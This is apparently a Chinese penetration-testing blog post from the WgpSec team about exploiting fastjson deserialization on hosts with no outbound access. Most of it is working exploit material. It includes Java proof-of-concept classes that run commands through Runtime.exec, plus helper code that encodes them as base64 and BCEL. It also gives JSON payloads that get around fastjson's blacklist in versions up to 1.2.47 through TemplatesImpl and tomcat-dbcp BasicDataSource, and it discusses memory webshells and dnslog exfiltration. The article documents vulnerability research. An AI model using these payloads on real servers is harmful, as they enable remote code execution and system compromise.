声明
本文作者:flashine
本文字数:2382
阅读时长:20分钟
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
前言
之前做项目在内网测到了一个fastjson反序列化漏洞,使用dnslog可以获取到ip,但是通过burp请求在vps搭建的rmi服务时发现rmi服务监听的端口有收到请求,但是http服务没有收到请求,所以就研究一下不出网的fastjson怎么利用。
0x00
利用方式
目前公开已知的poc有两个:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
第一种利用方式需要一个特定的触发条件,解析JSON的时候需要使用Feature才能触发,参考如下代码:
代码语言:javascript复制JSONObject.parseObject(sb.toString(), new Feature[]{Feature.SupportNonPublicField});
第二种利用方式则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar
对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。
而且对于不同的Tomcat版本使用的poc也不同:• Tomcat 8.0以后使用org.apache.tomcat.dbcp.dbcp2.BasicDataSource
• Tomcat 8.0以下使用org.apache.tomcat.dbcp.dbcp.BasicDataSource
0x01
利用复现
环境配置:
• fastjson 1.2.45 • 代码参考 vulhub • 服务器:Windows Server 2012 r2 • jdk版本:jdk8u112
1. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这里使用的是SpringBoot自带的Tomcat复现的漏洞。由于解析json需要额外添加参数Feature,因此实际情况可能不会遇到,这里只是做个记录。首先需要准备一个Poc:
代码语言:javascript复制import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {public Calc() throws IOException { Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { Calc t = new Calc(); }}
通过命令行执行javac Poc.java
得到class文件,然后通过python脚本得到该文件的base64编码:
import base64with open(r"Poc.class", "rb") as file: s = base64.b64encode(file.read()) print(s.decode('utf-8'))
由于fastjson在1.2.25版本之后增加了黑名单机制,因此网上直接找到的poc并不能直接拿来用,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
代码语言:javascript复制{ "a": { "@type": "java.lang.Class", "val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }, "b": { "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["poc.class_base64"], '_name': 'a.b', '_tfactory': {}, "_outputProperties": {}, "_name": "b", "_version": "1.0", "allowedProtocols": "all" }}
直接弹出计算器:
2. org.apache.tomcat.dbcp.dbcp2.BasicDataSource
利用环境需要实际下载Tomcat应用环境或者在maven中配置如下依赖:
代码语言:javascript复制<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>
我这里使用的是从Tomcat官网下载的Tomcat8.5.61,需要将springboot打成war包进行部署。
准备的Poc如下:
代码语言:javascript复制public class Poc{ static { try{ Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } catch (Exception e) { } }}// 在构造函数中写也可以public class Poc{ public Poc(){ try{ Runtime.getRuntime().exec(new String[]{"cmd", "/c", "calc"}); } catch (Exception e) { } }}
首先在命令行下运行javac Poc.java
得到Poc.class ,然后运行下面的java代码得到Poc.class文件的BCEL编码(编码内容保存在res.txt中)。
代码语言:javascript复制这里有个坑,需要注意下,我直接在本机环境(jdk8u271)下运行结果输出的内容特别短,根本没有进行编码,怀疑是高版本对该函数做了修改,后来直接用测试服务器的jdk8u112运行代码得到的编码。
import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.BufferedWriter;import java.io.FileWriter;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;public class Test{ public static void main(String[] args) throws IOException { Path path = Paths.get("C:\Users\Administrator\Desktop\Poc.class"); byte[] bytes = Files.readAllBytes(path); System.out.println(bytes.length); String result = Utility.encode(bytes,true); BufferedWriter bw = new BufferedWriter(new FileWriter("C:\Users\Administrator\Desktop\res.txt")); bw.write("$$BCEL$$" result); bw.close(); }}
同上由于fastjson在1.2.25版本之后增加了黑名单机制,这里基于<=1.2.47版本的缓存类的绕过黑名单的方式修改原有poc:
代码语言:javascript复制{ "a": { "@type": "java.lang.Class", "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "b": { "@type": "java.lang.Class", "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "c": { "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName": "BCELencode" }}
不知道是什么问题,计算器有时候能弹出界面,有时候只能在任务管理器里看到:
0x02
一点思考
第一个Poc比较难利用,第二个在1.2.47以下版本还可以利用,所以就想试试插入一个内存webshell或者是执行命令有回显。
1. 内存webshell
这里参考雷神众测的文章(文后已附上),通过将注册恶意类的字节码文件和注册controller的类的字节码文件经过BCEL编码后请求到服务器,发现直接报错:
看起来好像是com.sun.org.apache.bcel.internal.util.ClassLoader
没有加载到AbstractTranslet
这个类,由于对内存shell的代码不了解,不知道针对这种情况情况的代码怎么修改,暂时作罢。
2. 命令执行回显
常见的回显方式有三种:
- 一种是直接将命令执行结果写入到静态资源文件里,如html、js等,然后通过http访问就可以直接看到结果。
- 通过dnslog进行数据外带,但如果无法执行dns请求就无法验证了。
- 直接将命令执行结果回显到请求Poc的HTTP响应中。
0x03
参考链接
https://mntn0x.github.io/2020/04/07/Fastjson漏洞复现/ https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html https://xz.aliyun.com/t/7104 Fastjson反序列化进攻利用 SpringBoot内存shell https://xz.aliyun.com/t/7740
后记
第一种需要提前知道物理路径才能写文件,可以直接利用,这里就不细说了。第二种通过dnslog.cn和ceye.io也用得比较多了,但是数据量大了之后就不方便外带了。第三种在网上有很多文章,我自己尝试了下但是很多报错都跟上图一样提示NoClassDefFoundError
,不知道有没有师傅有解决办法。
WgpSec狼组安全团队